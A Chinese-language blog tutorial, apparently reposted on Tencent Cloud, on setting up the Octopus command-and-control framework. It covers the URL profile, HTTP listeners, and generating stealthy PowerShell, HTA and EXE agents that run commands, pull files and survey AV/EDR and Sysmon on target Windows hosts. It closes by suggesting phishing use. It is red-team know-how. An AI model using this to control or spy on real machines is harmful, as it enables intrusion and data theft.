前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >命令控制之Octopus

命令控制之Octopus

作者头像
Al1ex
发布2023-05-12 11:50:26
4980
发布2023-05-12 11:50:26
举报
文章被收录于专栏:网络安全攻防网络安全攻防
文章前言

Octopus是基于python开发的一款可操作的C2服务器,可以通过HTTP/S控制Octopus powershell代理,其主要目的是要在任何红队行动之前使用,而不是开始与您的整个作战武库和基础设施接触,您可以在开始实际的红队行动之前先使用Octopus攻击目标并收集信息

Octopus在与C2通信时被设计为隐秘且隐蔽的,因为它在Powershell代理与C2服务器之间的加密通道默认使用AES-256,您还可以通过为您的域提供有效的证书并配置Octopus C2服务器以使用它来选择使用SSL/TLS

功能特性

Octopus具有许多功能,可让您在部署实际需要的军械库、工具和技术之前了解可能会涉及到的点有哪些,例如:

  • 下载文件
  • 执行系统命令
  • 通过HTTP/S控制代理
  • 加载外部Powershell模块
  • 在C2和代理之间使用加密的通道(AES-256)
  • 使用不起眼的技术执行命令并传输结果
  • 为每个目标创建自定义侦听器和多个侦听器
  • 生成不同类型的有效载荷
  • 支持Powershell 2.0或更高版本的所有Windows版本
  • 在不触摸powershell.exe进程的情况下运行Octopus Windows可执行代理
  • 创建自定义配置文件
  • 从端点自动收集信息(端点态势感知)功能
工具安装

获取项目并安装第三方依赖:

代码语言:javascript
复制
git clone https://github.com/mhaskar/Octopus.git
sudo pip3 install -r requirements.txt

同时,您还需要安装mono,以确保可以编译C#源代码而不会出现问题:

代码语言:javascript
复制
apt install mono-devel

之后启用即可:

工具使用

Octopus的使用非常简单,你只需要启动一个侦听器并根据该侦听器的信息生成代理即可。

同时您可以根据需要来生成任意数量的侦听器,然后可以开始与连接到它们的代理进行交互。

Profile设置

在开始使用Octopus之前,您必须设置一个URL处理配置文件,该配置文件将控制C2的行为和功能,因为Octopus是基于HTTP的C2,因此它依赖于URL来处理连接并确保URL不会用作URL。当前攻击网络中的签名或IoC,可以轻松自定义URL并根据需要重命名。

配置文件设置当前仅支持URL处理,但是在接下来的一些更新中,您将能够控制其他选项,例如标题,html模板等。

profile.py文件包含许多关键变量:

  • file_receiver_url:处理文件下载
  • report_url:处理ESA报告
  • command_send_url:处理将发送到目标的命令
  • command_receiver_url:处理将在目标上执行的命令
  • first_ping_url:处理来自目标的第一个连接
  • server_response_header:此标头将在每个响应中显示

例如:

代码语言:javascript
复制
#!/usr/bin/python2.7

# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URL to communicate with the agent
# TODO : add the ability to customize the request headers

# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_reciever_url = "/messages"


# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"

# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"


# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"


# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"

# will return in every response as Server header
server_response_header = "nginx"

# will return white page that includes HTA script
mshta_url="/hta"

代理和侦听器将配置为使用此配置文件相互通信,接下来,我们需要知道如何创建一个监听器

监听器

章鱼有两个主要的侦听器:" http侦听器"和"https侦听器",这两个侦听器的选项基本相同

HTTP监听器

listen_http 该命令使用以下参数启动:

  • BindIP:侦听器将使用的IP地址
  • BindPort:要监听的端口
  • 主机名:您将用于与之通信的主机名
  • 时间间隔:代理在检查命令之前将等待的秒数
  • URL:承载有效负载的页面的名称(例如:index.php)
  • Listener_name:要使用的侦听器名称

您还可以通过运行以下listen_http命令来查看示例:

我们可以使用以下命令启动侦听器:

代码语言:javascript
复制
listen_http 0.0.0.0 8080 192.168.174.131 5 index.php operation1

之后将返回以下结果:

侦听器已成功启动,我们可以使用以下listeners命令查看所有侦听器:

HTTPS监听器

要创建HTTPS监听器,可以使用如下listen_https命令查看使用说明:

由于这里没有证书文件,所以我也就不做演示了,具体操作可参考Example,listen_https命令有以下参数:

  • BindIP:这是侦听器将使用的IP地址
  • BindPort:您要监听的端口
  • 主机名:将用于请求来自的有效负载
  • 间隔:代理检查命令之前等待的秒数
  • URL页面:名称将包含有效负载
  • Listener_name:要使用的侦听器名称
  • certficate_path:有效ssl证书的路径(letesencrypt证书被称为fullchain.pem)
  • key_path:ssl证书的有效密钥的路径(letesencrypt证书称为key.pem)

PS:这里需要提供与所使用域关联的有效SSL证书

代理生成
Powershell Oneliner

要为监听器operation1生成代理,我们可以使用以下命令:

代码语言:javascript
复制
generate_powershell operation1

之后在目标机上执行powshell命令,上线:

执行完命令之后powshell将会消失,不会留下任意窗口,隐匿效果较好~

同时,你会在Octopus中收到一个shell,之后使用list查看连接信息:

之后我们可以使用interact命令与主机进行交互,如下所示:

之后你还可以使用help命令列出所有可用命令:

同时,如果要直接指向系统命令,我们可以直接键入命令,然后根据创建监听器时设置的间隔检查时间等待结果

这种情况下,命令已加密,然后发送给代理客户端,之后客户端将解密该命令并执行该命令,代理客户端之后会对结果进行加密,最后再次将其发送该C2进行解密,并显示结果

同时我们还可以使用report命令来获取ESA信息,ESA模块代表“端点态势感知”,它可以帮助攻击者获取有关端点和基础架构的一些额外信息,例如:

  • OS的构建是什么?
  • 他们正在使用哪种AV/EDR?
  • 他们启用了Sysmon吗?
  • 他们正在使用哪个SIEM收集器?
  • 以及其他一些信息

您可以通过将外部Powershell模块放在modules目录中,然后执行来加载它load module.ps1,还可以通过执行以下modules命令来列出modules目录中的所有模块:

同时您可以使用Octopus从目标计算机上下载文件,只需执行“ download file_path”即可下载文件

HTA oneliner

要为listener1生成HTA oneliner,operation1我们可以使用以下命令:

代码语言:javascript
复制
generate_hta operation1

我们将得到以下结果:

请注意,您可以/hta使用profile.py

EXE代理

要为监听器生成EXE代理,operation1我们可以使用以下命令

代码语言:javascript
复制
generate_exe operation1 /home/HackTools/RedTeam/Octopus/file.exe

之后我们在window 10中运行该文件

之后使用list查看session,至于其他的交互之类的和上面一致,这里就不多做介绍了~

文末小结

个人觉得这里也可以被用于社工钓鱼,有兴趣的可以再研究一下,笔者后期有时间也会再深入进行分析与研究,扩展该工具的使用~

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-04-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章前言
  • 功能特性
  • 工具安装
  • 工具使用
    • Profile设置
      • 监听器
        • HTTP监听器
        • HTTPS监听器
      • 代理生成
        • Powershell Oneliner
        • HTA oneliner
    相关产品与服务
    SSL 证书
    腾讯云 SSL 证书(SSL Certificates)为您提供 SSL 证书的申请、管理、部署等服务,为您提供一站式 HTTPS 解决方案。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档